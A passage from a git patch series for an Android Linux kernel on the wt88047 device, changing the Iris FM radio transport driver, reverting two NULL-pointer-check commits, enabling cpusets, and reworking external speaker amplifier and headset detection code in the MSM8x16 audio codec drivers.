&hs; @@ -228,23 +219,14 @@ static void radio_hci_smd_deregister(void) smd_close(hs.fm_channel); hs.fm_channel = 0; done: -#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE - fmsmd_ready = -1; -#else fmsmd_set = 0; -#endif } -#ifdef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE -int radio_hci_smd_init(void) -#else static int radio_hci_smd_init(void) -#endif { return radio_hci_smd_register_dev(&hs); } -#ifndef CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE static void radio_hci_smd_exit(void) { radio_hci_smd_deregister(); @@ -272,7 +254,6 @@ static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp) mutex_unlock(&fm_smd_enable); return ret; } -#endif MODULE_DESCRIPTION("FM SMD driver"); MODULE_AUTHOR("Ankur Nandwani "); MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/radio/radio-iris.c b/drivers/media/radio/radio-iris.c index c0eecd0280386..5ca5686ec3989 100644 --- a/drivers/media/radio/radio-iris.c +++ b/drivers/media/radio/radio-iris.c @@ -38,16 +38,6 @@ #include #include -#if defined(CONFIG_RADIO_IRIS_TRANSPORT) && defined(CONFIG_RADIO_IRIS_TRANSPORT_NO_FIRMWARE) -#define IRIS_TRANSPORT_NO_FIRMWARE -#endif - -#ifdef IRIS_TRANSPORT_NO_FIRMWARE -extern int fmsmd_ready; -extern int radio_hci_smd_init(void); -extern void radio_hci_smd_deregister(void); -#endif - static unsigned int rds_buf = 100; static int oda_agt; static int grp_mask; @@ -5205,9 +5195,6 @@ static int iris_fops_release(struct file *file) END: if (radio->fm_hdev != NULL) radio->fm_hdev->close_smd(); -#ifdef IRIS_TRANSPORT_NO_FIRMWARE - radio_hci_smd_deregister(); -#endif if (retval < 0) FMDERR("Err on disable FM %d\n", retval); @@ -5408,15 +5395,6 @@ static const struct v4l2_ioctl_ops iris_ioctl_ops = { .vidioc_g_ext_ctrls = iris_vidioc_g_ext_ctrls, }; -#ifdef IRIS_TRANSPORT_NO_FIRMWARE -static int iris_fops_open(struct file *f) { - if (fmsmd_ready < 0) { - fmsmd_ready = radio_hci_smd_init(); - } - return fmsmd_ready; -} -#endif - static const struct v4l2_file_operations iris_fops = { .owner = THIS_MODULE, .unlocked_ioctl = video_ioctl2, @@ -5424,9 +5402,6 @@ static const struct v4l2_file_operations iris_fops = { .compat_ioctl32 = v4l2_compat_ioctl32, #endif .release = iris_fops_release, -#ifdef IRIS_TRANSPORT_NO_FIRMWARE - .open = iris_fops_open, -#endif }; static struct video_device iris_viddev_template = { From 5e98b47e5f844f206356da63b6b35067b81d1eaf Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Fri, 17 Jun 2016 13:06:04 +0700 Subject: [PATCH 126/365] Revert "radio: iris: More checking for NULL pointer access" This reverts commit 610cdaa3aa8a3e68e84873015cf0044587f42b32. --- drivers/media/radio/radio-iris-transport.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/drivers/media/radio/radio-iris-transport.c b/drivers/media/radio/radio-iris-transport.c index a6c88b561bbd9..0364d56c55adb 100644 --- a/drivers/media/radio/radio-iris-transport.c +++ b/drivers/media/radio/radio-iris-transport.c @@ -39,7 +39,7 @@ struct radio_data { }; struct radio_data hs; static DEFINE_MUTEX(fm_smd_enable); -static int fmsmd_set = 0; +static int fmsmd_set; static int hcismd_fm_set_enable(const char *val, struct kernel_param *kp); module_param_call(fmsmd_set, hcismd_fm_set_enable, NULL, &fmsmd_set, 0644); static struct work_struct *reset_worker; @@ -205,11 +205,6 @@ static int radio_hci_smd_register_dev(struct radio_data *hsmd) static void radio_hci_smd_deregister(void) { - struct radio_data *hsmd = &hs; - - if (hsmd == NULL) - goto done; - if (hs.hdev != NULL) { radio_hci_unregister_dev(hs.hdev); kfree(hs.hdev); @@ -218,7 +213,6 @@ static void radio_hci_smd_deregister(void) smd_close(hs.fm_channel); hs.fm_channel = 0; -done: fmsmd_set = 0; } From 14d71139fd2f2f8fc92c6323d6d2d0088e36ead8 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Fri, 17 Jun 2016 13:06:30 +0700 Subject: [PATCH 127/365] Revert "radio: iris: Fix NULL pointer access" This reverts commit eded934f3ce226090c7d9fc0458f396fc0f218d7. --- drivers/media/radio/radio-iris-transport.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/drivers/media/radio/radio-iris-transport.c b/drivers/media/radio/radio-iris-transport.c index 0364d56c55adb..9007bf040761e 100644 --- a/drivers/media/radio/radio-iris-transport.c +++ b/drivers/media/radio/radio-iris-transport.c @@ -47,11 +47,7 @@ static void radio_hci_smd_deregister(void); static void radio_hci_smd_destruct(struct radio_hci_dev *hdev) { - if (hs.hdev != NULL) { - radio_hci_unregister_dev(hs.hdev); - kfree(hs.hdev); - hs.hdev = NULL; - } + radio_hci_unregister_dev(hs.hdev); } @@ -205,11 +201,9 @@ static int radio_hci_smd_register_dev(struct radio_data *hsmd) static void radio_hci_smd_deregister(void) { - if (hs.hdev != NULL) { - radio_hci_unregister_dev(hs.hdev); - kfree(hs.hdev); - hs.hdev = NULL; - } + radio_hci_unregister_dev(hs.hdev); + kfree(hs.hdev); + hs.hdev = NULL; smd_close(hs.fm_channel); hs.fm_channel = 0; From 53ac445635ed8c26ac3ef317e4b426f381f42139 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Fri, 17 Jun 2016 13:39:51 +0700 Subject: [PATCH 128/365] wt88047: Enable cpuset Change-Id: I09b82dac174c1cff4eafee9adadb8a0ccd2361c4 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index dd76aef4b65be..acff0a42c7a93 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -112,7 +112,7 @@ CONFIG_CGROUPS=y CONFIG_CGROUP_DEBUG=y CONFIG_CGROUP_FREEZER=y # CONFIG_CGROUP_DEVICE is not set -# CONFIG_CPUSETS is not set +CONFIG_CPUSETS=y CONFIG_CGROUP_CPUACCT=y CONFIG_RESOURCE_COUNTERS=y # CONFIG_MEMCG is not set From e47b7c425fa4f3c64eb71d57bc18b616a97c48eb Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 18 Jun 2016 22:35:13 +0700 Subject: [PATCH 129/365] ASoC: Lollipop source drop adaptation Change-Id: I8d82b031f65401656704271e6583fee0ba82b503 --- sound/soc/codecs/msm8916-wcd-irq.c | 15 ++ sound/soc/codecs/msm8x16-wcd.c | 152 +++++++++-------- sound/soc/codecs/msm8x16-wcd.h | 9 +- sound/soc/codecs/wcd-mbhc-v2.c | 25 ++- sound/soc/codecs/wcd-mbhc-v2.h | 3 + sound/soc/msm/msm8x16.c | 251 +++++++++++++++-------------- 6 files changed, 257 insertions(+), 198 deletions(-) diff --git a/sound/soc/codecs/msm8916-wcd-irq.c b/sound/soc/codecs/msm8916-wcd-irq.c index 43c516318977e..a47be9b1eef38 100644 --- a/sound/soc/codecs/msm8916-wcd-irq.c +++ b/sound/soc/codecs/msm8916-wcd-irq.c @@ -94,6 +94,9 @@ struct wcd9xxx_spmi_map { }; struct wcd9xxx_spmi_map map; +#ifdef CONFIG_MACH_WT88047 +static int late_resume; +#endif void wcd9xxx_spmi_enable_irq(int irq) { @@ -329,6 +332,12 @@ int wcd9xxx_spmi_resume() map.pm_state, map.wlock_holders); map.pm_state = WCD9XXX_PM_SLEEPABLE; +#ifdef CONFIG_MACH_WT88047 + if (late_resume) { + msm8x16_wcd_restart_mbhc(map.codec); + late_resume = 0; + } +#endif } else { pr_warn("%s: system is already awake, state %d wlock %d\n", __func__, map.pm_state, @@ -363,6 +372,9 @@ bool wcd9xxx_spmi_lock_sleep() map.wlock_holders); pr_debug("%s: map.pm_state = %d\n", __func__, map.pm_state); +#ifdef CONFIG_MACH_WT88047 + late_resume = 0; +#endif if (!wait_event_timeout(map.pm_wq, ((wcd9xxx_spmi_pm_cmpxchg( WCD9XXX_PM_SLEEPABLE, @@ -379,6 +391,9 @@ bool wcd9xxx_spmi_lock_sleep() WCD9XXX_SYSTEM_RESUME_TIMEOUT_MS, map.pm_state, map.wlock_holders); wcd9xxx_spmi_unlock_sleep(); +#ifdef CONFIG_MACH_WT88047 + late_resume = 1; +#endif return false; } wake_up_all(&map.pm_wq); diff --git a/sound/soc/codecs/msm8x16-wcd.c b/sound/soc/codecs/msm8x16-wcd.c index ff7f2f04ea5e3..3930daf2438bf 100644 --- a/sound/soc/codecs/msm8x16-wcd.c +++ b/sound/soc/codecs/msm8x16-wcd.c @@ -32,6 +32,7 @@ #include #include #include +#include #include #include #include @@ -39,8 +40,8 @@ #include #include #include +#include #include -#include #include "msm8x16-wcd.h" #include "wcd-mbhc-v2.h" #include "msm8916-wcd-irq.h" @@ -135,7 +136,7 @@ static struct snd_soc_dai_driver msm8x16_wcd_i2s_dai[]; #ifdef CONFIG_MACH_WT88047 static struct switch_dev accdet_data; -static int accdet_state = 0; +static int accdet_state; static struct delayed_work analog_switch_enable; #endif @@ -3004,12 +3005,6 @@ static const struct snd_kcontrol_new hphr_mux[] = { SOC_DAPM_ENUM_VIRT("HPHR", hph_enum) }; -#ifdef CONFIG_MACH_WT88047 -static const struct snd_kcontrol_new hphspk_mux[] = { - SOC_DAPM_ENUM_VIRT("HPH SPK", hph_enum) -}; -#endif - static const struct snd_kcontrol_new spkr_switch[] = { SOC_DAPM_SINGLE("Switch", MSM8X16_WCD_A_ANALOG_SPKR_DAC_CTL, 7, 1, 0) @@ -4095,11 +4090,48 @@ static void msm8x16_analog_switch_delayed_enable(struct work_struct *work) int state = 0; state = gpio_get_value(EXT_SPK_AMP_GPIO); - pr_debug("%s: enable analog switch, external PA state: %d\n", __func__, state); + pr_debug("%s: Enable analog switch, external PA state: %d\n", __func__, state); - if(!state) + if (!state) gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, true); } + +void msm8x16_wcd_codec_set_headset_state(u32 state) +{ + switch_set_state((struct switch_dev *)&accdet_data, state); + accdet_state = state; +} + +int msm8x16_wcd_codec_get_headset_state(void) +{ + pr_debug("%s accdet_state = %d\n", __func__, accdet_state); + return accdet_state; +} + +static void enable_ldo17(int enable) +{ + static struct regulator *reg_l17; + static int status; + int rc = 0; + + if (!!status == !!enable) + return; + + if (enable) + reg_l17 = regulator_get(0, "8916_l17"); + if (reg_l17 != 0) { + if (enable) { + regulator_set_optimum_mode(reg_l17, 100*1000); + regulator_set_voltage(reg_l17, 2850000, 2850000); + rc = regulator_enable(reg_l17); + } else { + rc = regulator_disable(reg_l17); + regulator_put(reg_l17); + reg_l17 = 0; + } + status = enable; + } +} #endif static int msm8x16_wcd_hph_pa_event(struct snd_soc_dapm_widget *w, @@ -4127,6 +4159,7 @@ static int msm8x16_wcd_hph_pa_event(struct snd_soc_dapm_widget *w, case SND_SOC_DAPM_POST_PMU: #ifdef CONFIG_MACH_WT88047 + enable_ldo17(1); state = msm8x16_wcd_codec_get_headset_state(); #endif usleep_range(7000, 7100); @@ -4145,10 +4178,11 @@ static int msm8x16_wcd_hph_pa_event(struct snd_soc_dapm_widget *w, #endif } #ifdef CONFIG_MACH_WT88047 - if (state) - schedule_delayed_work(&analog_switch_enable, msecs_to_jiffies(500)); - else + usleep_range(10000, 10100); + if (!state) gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, false); + else + schedule_delayed_work(&analog_switch_enable, msecs_to_jiffies(500)); #endif break; @@ -4203,7 +4237,7 @@ static int msm8x16_wcd_hph_pa_event(struct snd_soc_dapm_widget *w, w->name); usleep_range(10000, 10100); #ifdef CONFIG_MACH_WT88047 - gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, false); + enable_ldo17(0); #endif break; } @@ -4252,28 +4286,15 @@ static const struct snd_soc_dapm_route audio_map[] = { {"HPHL PA", NULL, "HPHL"}, {"HPHR PA", NULL, "HPHR"}, -#ifdef CONFIG_MACH_WT88047 - {"SPK EXTN PA", NULL, "HPH SPK"}, -#endif {"HPHL", "Switch", "HPHL DAC"}, {"HPHR", "Switch", "HPHR DAC"}, -#ifdef CONFIG_MACH_WT88047 - {"HPH SPK", "Switch", "HPHR DAC"}, -#endif {"HPHL PA", NULL, "CP"}, {"HPHL PA", NULL, "RX_BIAS"}, -#ifdef CONFIG_MACH_WT88047 - {"SPK EXTN PA", NULL, "CP"}, - {"SPK EXTN PA", NULL, "RX_BIAS"}, -#endif {"HPHR PA", NULL, "CP"}, {"HPHR PA", NULL, "RX_BIAS"}, {"HPHL DAC", NULL, "RX1 CHAIN"}, {"SPK_OUT", NULL, "SPK PA"}, -#ifdef CONFIG_MACH_WT88047 - {"SPK_EXTN_OUT", NULL, "SPK EXTN PA"}, -#endif {"SPK PA", NULL, "SPK_RX_BIAS"}, {"SPK PA", NULL, "SPK DAC"}, {"SPK DAC", "Switch", "RX3 CHAIN"}, @@ -4840,24 +4861,11 @@ static const struct snd_soc_dapm_widget msm8x16_wcd_dapm_widgets[] = { SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD), -#ifdef CONFIG_MACH_WT88047 - SND_SOC_DAPM_VIRT_MUX("HPH SPK", SND_SOC_NOPM, 0, 0, hphspk_mux), - - SND_SOC_DAPM_PGA_E("SPK EXTN PA", MSM8X16_WCD_A_ANALOG_RX_HPH_CNP_EN, - 4, 0, NULL, 0, - msm8x16_wcd_hph_pa_event, SND_SOC_DAPM_PRE_PMU | - SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_PRE_PMD | - SND_SOC_DAPM_POST_PMD), -#endif - SND_SOC_DAPM_MIXER("SPK DAC", SND_SOC_NOPM, 0, 0, spkr_switch, ARRAY_SIZE(spkr_switch)), /* Speaker */ SND_SOC_DAPM_OUTPUT("SPK_OUT"), -#ifdef CONFIG_MACH_WT88047 - SND_SOC_DAPM_OUTPUT("SPK_EXTN_OUT"), -#endif SND_SOC_DAPM_PGA_E("SPK PA", MSM8X16_WCD_A_ANALOG_SPKR_DRV_CTL, 6, 0 , NULL, 0, msm8x16_wcd_codec_enable_spk_pa, @@ -5240,10 +5248,6 @@ static struct regulator *wcd8x16_wcd_codec_find_regulator( static int msm8x16_wcd_device_down(struct snd_soc_codec *codec) { -#ifdef CONFIG_MACH_WT88047 - u8 state = 0; -#endif - struct msm8916_asoc_mach_data *pdata = NULL; struct msm8x16_wcd_priv *msm8x16_wcd_priv = snd_soc_codec_get_drvdata(codec); @@ -5296,17 +5300,8 @@ static int msm8x16_wcd_device_down(struct snd_soc_codec *codec) /* 40ms to allow boost to discharge */ msleep(40); /* Disable PA to avoid pop during codec bring up */ -#ifdef CONFIG_MACH_WT88047 - state = gpio_get_value(EXT_SPK_AMP_GPIO); - pr_debug("%s external audio pa state: %d\n", __func__, state); - if (!state) { - snd_soc_update_bits(codec, MSM8X16_WCD_A_ANALOG_RX_HPH_CNP_EN, - 0x30, 0x00); - } -#else snd_soc_update_bits(codec, MSM8X16_WCD_A_ANALOG_RX_HPH_CNP_EN, 0x30, 0x00); -#endif snd_soc_update_bits(codec, MSM8X16_WCD_A_ANALOG_SPKR_DRV_CTL, 0x80, 0x00); msm8x16_wcd_write(codec, @@ -5651,20 +5646,6 @@ static int msm8x16_wcd_codec_probe(struct snd_soc_codec *codec) return 0; } -#ifdef CONFIG_MACH_WT88047 -void msm8x16_wcd_codec_set_headset_state(u32 state) -{ - switch_set_state((struct switch_dev *)&accdet_data, state); - accdet_state = state; -} - -int msm8x16_wcd_codec_get_headset_state(void) -{ - pr_debug("%s accdet_state = %d\n", __func__, accdet_state); - return accdet_state; -} -#endif - static int msm8x16_wcd_codec_remove(struct snd_soc_codec *codec) { struct msm8x16_wcd_priv *msm8x16_wcd_priv = @@ -6061,6 +6042,43 @@ static void msm8x16_wcd_device_exit(struct msm8x16_wcd *msm8x16) kfree(msm8x16); } +#ifdef CONFIG_MACH_WT88047 +int msm8x16_wcd_restart_mbhc(struct snd_soc_codec *codec) +{ + struct msm8x16_wcd_priv *msm8x16_wcd_priv = + snd_soc_codec_get_drvdata(codec); + int ret = 0; + bool detection_type; + u32 jack_mask = SND_JACK_HEADSET | SND_JACK_OC_HPHL | + SND_JACK_OC_HPHR | SND_JACK_LINEOUT | + SND_JACK_UNSUPPORTED; + /* Read mbhc reg if set for insert or remove and + set to corresponding detection type on restart */ + detection_type = (snd_soc_read(codec, + MSM8X16_WCD_A_ANALOG_MBHC_DET_CTL_1)) & 0x20; + if (!detection_type) + snd_soc_jack_report_no_dapm( + &msm8x16_wcd_priv->mbhc.headset_jack, + 0, jack_mask); + wcd_mbhc_stop(&msm8x16_wcd_priv->mbhc); + wcd_mbhc_deinit(&msm8x16_wcd_priv->mbhc); + ret = wcd_mbhc_init(&msm8x16_wcd_priv->mbhc, codec, &mbhc_cb, &intr_ids, + wcd_mbhc_registers, true); + + if (ret) + dev_err(codec->dev, "%s: mbhc initialization failed\n", + __func__); + else + wcd_mbhc_start(&msm8x16_wcd_priv->mbhc, + msm8x16_wcd_priv->mbhc.mbhc_cfg); + /* Set the detection type appropriately */ + snd_soc_update_bits(codec, MSM8X16_WCD_A_ANALOG_MBHC_DET_CTL_1, + 0x20, (!detection_type << 5)); + return 0; +} +EXPORT_SYMBOL(msm8x16_wcd_restart_mbhc); +#endif + static int msm8x16_wcd_spmi_remove(struct spmi_device *spmi) { struct msm8x16_wcd *msm8x16 = dev_get_drvdata(&spmi->dev); diff --git a/sound/soc/codecs/msm8x16-wcd.h b/sound/soc/codecs/msm8x16-wcd.h index 072c288605442..850a71d40fe55 100644 --- a/sound/soc/codecs/msm8x16-wcd.h +++ b/sound/soc/codecs/msm8x16-wcd.h @@ -56,12 +56,6 @@ #define DEFAULT_GAIN 9 #define DEFAULT_OFFSET 100 -#ifdef CONFIG_MACH_WT88047 -#define EXT_SPK_AMP_GPIO (902 + 118) -#define EXT_SPK_AMP_GPIO_1 (902 + 117) -#define EXT_SPK_AMP_HEADSET_GPIO (902 + 8) -#endif - extern const u8 msm8x16_wcd_reg_readable[MSM8X16_WCD_CACHE_SIZE]; extern const u8 msm8x16_wcd_reg_readonly[MSM8X16_WCD_CACHE_SIZE]; extern const u8 msm8x16_wcd_reset_reg_defaults[MSM8X16_WCD_CACHE_SIZE]; @@ -322,6 +316,9 @@ extern int msm8x16_wcd_hs_detect(struct snd_soc_codec *codec, extern void msm8x16_wcd_hs_detect_exit(struct snd_soc_codec *codec); +#ifdef CONFIG_MACH_WT88047 +extern int msm8x16_wcd_restart_mbhc(struct snd_soc_codec *codec); +#endif extern void msm8x16_wcd_spk_ext_pa_cb( int (*codec_spk_ext_pa)(struct snd_soc_codec *codec, int enable), struct snd_soc_codec *codec); diff --git a/sound/soc/codecs/wcd-mbhc-v2.c b/sound/soc/codecs/wcd-mbhc-v2.c index eb1a9a8bb316a..fcd036e274636 100644 --- a/sound/soc/codecs/wcd-mbhc-v2.c +++ b/sound/soc/codecs/wcd-mbhc-v2.c @@ -40,11 +40,7 @@ SND_JACK_BTN_6 | SND_JACK_BTN_7) #define OCP_ATTEMPT 1 #define HS_DETECT_PLUG_TIME_MS (3 * 1000) -#ifdef CONFIG_MACH_WT88047 -#define SPECIAL_HS_DETECT_TIME_MS 500 -#else #define SPECIAL_HS_DETECT_TIME_MS (2 * 1000) -#endif #define MBHC_BUTTON_PRESS_THRESHOLD_MIN 250 #define GND_MIC_SWAP_THRESHOLD 4 #define WCD_FAKE_REMOVAL_MIN_PERIOD_MS 100 @@ -489,6 +485,9 @@ static bool wcd_mbhc_is_hph_pa_on(struct wcd_mbhc *mbhc) static void wcd_mbhc_set_and_turnoff_hph_padac(struct wcd_mbhc *mbhc) { u8 wg_time; +#ifdef CONFIG_MACH_WT88047 + u8 state = 0; +#endif WCD_MBHC_REG_READ(WCD_MBHC_HPH_CNP_WG_TIME, wg_time); wg_time += 1; @@ -502,7 +501,14 @@ static void wcd_mbhc_set_and_turnoff_hph_padac(struct wcd_mbhc *mbhc) } else { pr_debug("%s PA is off\n", __func__); } +#ifdef CONFIG_MACH_WT88047 + state = gpio_get_value(EXT_SPK_AMP_GPIO); + pr_debug("%s external audio pa state:%d\n", __func__, state); + if (!state) + WCD_MBHC_REG_UPDATE_BITS(WCD_MBHC_HPH_PA_EN, 0); +#else WCD_MBHC_REG_UPDATE_BITS(WCD_MBHC_HPH_PA_EN, 0); +#endif usleep_range(wg_time * 1000, wg_time * 1000 + 50); } @@ -1236,6 +1242,9 @@ static void wcd_mbhc_swch_irq_handler(struct wcd_mbhc *mbhc) { bool detection_type; bool micbias1 = false; +#ifdef CONFIG_MACH_WT88047 + u8 state = 0; +#endif struct snd_soc_codec *codec = mbhc->codec; dev_dbg(codec->dev, "%s: enter\n", __func__); @@ -1296,6 +1305,11 @@ static void wcd_mbhc_swch_irq_handler(struct wcd_mbhc *mbhc) mbhc->mbhc_cb->enable_mb_source(codec, true); mbhc->btn_press_intr = false; wcd_mbhc_detect_plug_type(mbhc); +#ifdef CONFIG_MACH_WT88047 + state = gpio_get_value(EXT_SPK_AMP_GPIO); + if (!state) + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, true); +#endif } else if ((mbhc->current_plug != MBHC_PLUG_TYPE_NONE) && !detection_type) { /* Disable external voltage source to micbias if present */ @@ -1346,6 +1360,9 @@ static void wcd_mbhc_swch_irq_handler(struct wcd_mbhc *mbhc) WCD_MBHC_REG_UPDATE_BITS(WCD_MBHC_ELECT_SCHMT_ISRC, 0); wcd_mbhc_report_plug(mbhc, 0, SND_JACK_LINEOUT); } +#ifdef CONFIG_MACH_WT88047 + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, false); +#endif } else if (!detection_type) { /* Disable external voltage source to micbias if present */ if (mbhc->mbhc_cb->enable_mb_source) diff --git a/sound/soc/codecs/wcd-mbhc-v2.h b/sound/soc/codecs/wcd-mbhc-v2.h index ce4f4594d0cb0..df2f7541c360c 100644 --- a/sound/soc/codecs/wcd-mbhc-v2.h +++ b/sound/soc/codecs/wcd-mbhc-v2.h @@ -509,6 +509,9 @@ static inline int wcd_mbhc_get_impedance(struct wcd_mbhc *mbhc, #endif void wcd_mbhc_deinit(struct wcd_mbhc *mbhc); #ifdef CONFIG_MACH_WT88047 +#define EXT_SPK_AMP_GPIO (902+117) +#define EXT_SPK_AMP_HEADSET_GPIO (902+8) + extern void msm8x16_wcd_codec_set_headset_state(u32 state); extern int msm8x16_wcd_codec_get_headset_state(void); #endif diff --git a/sound/soc/msm/msm8x16.c b/sound/soc/msm/msm8x16.c index a1b17501c7bfa..4630f4be93716 100644 --- a/sound/soc/msm/msm8x16.c +++ b/sound/soc/msm/msm8x16.c @@ -66,6 +66,17 @@ #define LPASS_CSR_GP_LPAIF_PRI_PCM_PRI_MODE_MUXSEL 0x07702008 +#ifdef CONFIG_MACH_WT88047 +#define EXT_CLASS_D_EN_DELAY 13000 +#define EXT_CLASS_D_DIS_DELAY 3000 +#define EXT_CLASS_D_DELAY_DELTA 2000 + +#define AW8155A_MODE 5 + +static struct delayed_work lineout_amp_enable; +static struct delayed_work lineout_amp_dualmode; +#endif + #define MAX_AUX_CODECS 2 enum btsco_rates { @@ -365,81 +376,6 @@ static void param_set_mask(struct snd_pcm_hw_params *p, int n, unsigned bit) static int msm8x16_mclk_event(struct snd_soc_dapm_widget *w, struct snd_kcontrol *kcontrol, int event); -#ifdef CONFIG_MACH_WT88047 -static struct delayed_work lineout_amp_enable; -static struct delayed_work lineout_amp_dualmode; - -static void msm8x16_ext_spk_gpio_request(void) -{ - if (gpio_request(EXT_SPK_AMP_GPIO, "ext_spk_amp_gpio")) { - pr_err("%s: gpio_request failed for ext_spk_amp_gpio.\n", __func__); - return; - } - - if (gpio_request(EXT_SPK_AMP_GPIO_1, "ext_spk_amp_gpio_1")) { - pr_err("%s: gpio_request failed for ext_spk_amp_gpio_1.\n", __func__); - return; - } - - if (gpio_request(EXT_SPK_AMP_HEADSET_GPIO, "ext_spk_amp_headset_gpio")) { - pr_err("%s: gpio_request failed for ext_spk_amp_headset_gpio.\n", __func__); - return; - } -} - -static void msm8x16_ext_spk_gpio_free(void) -{ - if (gpio_is_valid(EXT_SPK_AMP_GPIO)) - gpio_free(EXT_SPK_AMP_GPIO); - - if (gpio_is_valid(EXT_SPK_AMP_GPIO_1)) - gpio_free(EXT_SPK_AMP_GPIO_1); - - if (gpio_is_valid(EXT_SPK_AMP_HEADSET_GPIO)) - gpio_free(EXT_SPK_AMP_HEADSET_GPIO); -} - -static void msm8x16_ext_spk_delayed_enable(struct work_struct *work) -{ - int i = 0; - - gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, 0); - usleep_range(13000, 15000); - gpio_direction_output(EXT_SPK_AMP_GPIO, 1); - usleep_range(13000, 15000); - - for (i = 0; i < 5; i++) { - gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - usleep_range(100, 105); - gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); - usleep_range(100, 105); - } - gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - - pr_debug("%s: Enable external speaker PAs.\n", __func__); -} - -static void msm8x16_ext_spk_delayed_dualmode(struct work_struct *work) -{ - int i = 0; - - gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, 1); - usleep_range(13000, 15000); - gpio_direction_output(EXT_SPK_AMP_GPIO, 1); - usleep_range(13000, 15000); - - for (i = 0; i < 5; i++) { - gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - usleep_range(100, 105); - gpio_direction_output(EXT_SPK_AMP_GPIO_1, 0); - usleep_range(100, 105); - } - gpio_direction_output(EXT_SPK_AMP_GPIO_1, 1); - - pr_debug("%s: Enable external speaker PAs dualmode.\n", __func__); -} -#endif - static const struct snd_soc_dapm_widget msm8x16_dapm_widgets[] = { SND_SOC_DAPM_SUPPLY_S("MCLK", -1, SND_SOC_NOPM, 0, 0, @@ -577,6 +513,110 @@ static int mi2s_rx_bit_format_put(struct snd_kcontrol *kcontrol, return 0; } +#ifdef CONFIG_MACH_WT88047 +static void msm8x16_ext_spk_gpio_request(void) +{ + if (gpio_request(EXT_SPK_AMP_GPIO, "ext_spk_amp_gpio")) { + pr_err("%s: gpio_request failed for ext_spk_amp_gpio.\n", __func__); + return; + } + + if (gpio_request(EXT_SPK_AMP_HEADSET_GPIO, "ext_spk_amp_headset_gpio")) { + pr_err("%s: gpio_request failed for ext_spk_amp_headset_gpio.\n", __func__); + return; + } +} + +static void msm8x16_ext_spk_gpio_free(void) +{ + if (gpio_is_valid(EXT_SPK_AMP_GPIO)) + gpio_free(EXT_SPK_AMP_GPIO); + + if (gpio_is_valid(EXT_SPK_AMP_HEADSET_GPIO)) + gpio_free(EXT_SPK_AMP_HEADSET_GPIO); +} + +static void msm8x16_ext_spk_control(u32 enable) +{ + if (enable) { + gpio_direction_output(EXT_SPK_AMP_GPIO, enable); + usleep_range(EXT_CLASS_D_EN_DELAY, + EXT_CLASS_D_EN_DELAY + EXT_CLASS_D_DELAY_DELTA); + } else { + gpio_direction_output(EXT_SPK_AMP_GPIO, enable); + usleep_range(EXT_CLASS_D_DIS_DELAY, + EXT_CLASS_D_DIS_DELAY + EXT_CLASS_D_DELAY_DELTA); + } + + pr_debug("%s: %s external speaker PAs.\n", __func__, + enable ? "Enable" : "Disable"); +} + +static void msm8x16_ext_spk_delayed_enable(struct work_struct *work) +{ + int i = 0; + + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, false); + usleep_range(EXT_CLASS_D_EN_DELAY, + EXT_CLASS_D_EN_DELAY + EXT_CLASS_D_DELAY_DELTA); + + for (i = 0; i < AW8155A_MODE; i++) { + gpio_direction_output(EXT_SPK_AMP_GPIO, false); + gpio_direction_output(EXT_SPK_AMP_GPIO, true); + } + + usleep_range(EXT_CLASS_D_EN_DELAY, + EXT_CLASS_D_EN_DELAY + EXT_CLASS_D_DELAY_DELTA); +} + +static void msm8x16_ext_spk_delayed_dualmode(struct work_struct *work) +{ + int i = 0; + + gpio_direction_output(EXT_SPK_AMP_HEADSET_GPIO, true); + usleep_range(EXT_CLASS_D_EN_DELAY, + EXT_CLASS_D_EN_DELAY + EXT_CLASS_D_DELAY_DELTA); + + for (i = 0; i < AW8155A_MODE; i++) { + gpio_direction_output(EXT_SPK_AMP_GPIO, false); + gpio_direction_output(EXT_SPK_AMP_GPIO, true); + } + + usleep_range(EXT_CLASS_D_EN_DELAY, + EXT_CLASS_D_EN_DELAY + EXT_CLASS_D_DELAY_DELTA); +} + +static int lineout_status_get(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) +{ + return 0; +} + +static int lineout_status_put(struct snd_kcontrol *kcontrol, + struct snd_ctl_elem_value *ucontrol) +{ + int state = 0; + state = ucontrol->value.integer.value[0]; + + switch (state) { + case 1: + schedule_delayed_work(&lineout_amp_enable, msecs_to_jiffies(50)); + break; + case 0: + msm8x16_ext_spk_control(0); + break; + case 2: + schedule_delayed_work(&lineout_amp_dualmode, msecs_to_jiffies(50)); + break; + default: + pr_err("%s: Unexpected input value\n", __func__); + break; + } + + return 0; +} +#endif + static int loopback_mclk_get(struct snd_kcontrol *kcontrol, struct snd_ctl_elem_value *ucontrol) { @@ -658,39 +698,6 @@ static int loopback_mclk_put(struct snd_kcontrol *kcontrol, return ret; } -#ifdef CONFIG_MACH_WT88047 -static int lineout_status_get(struct 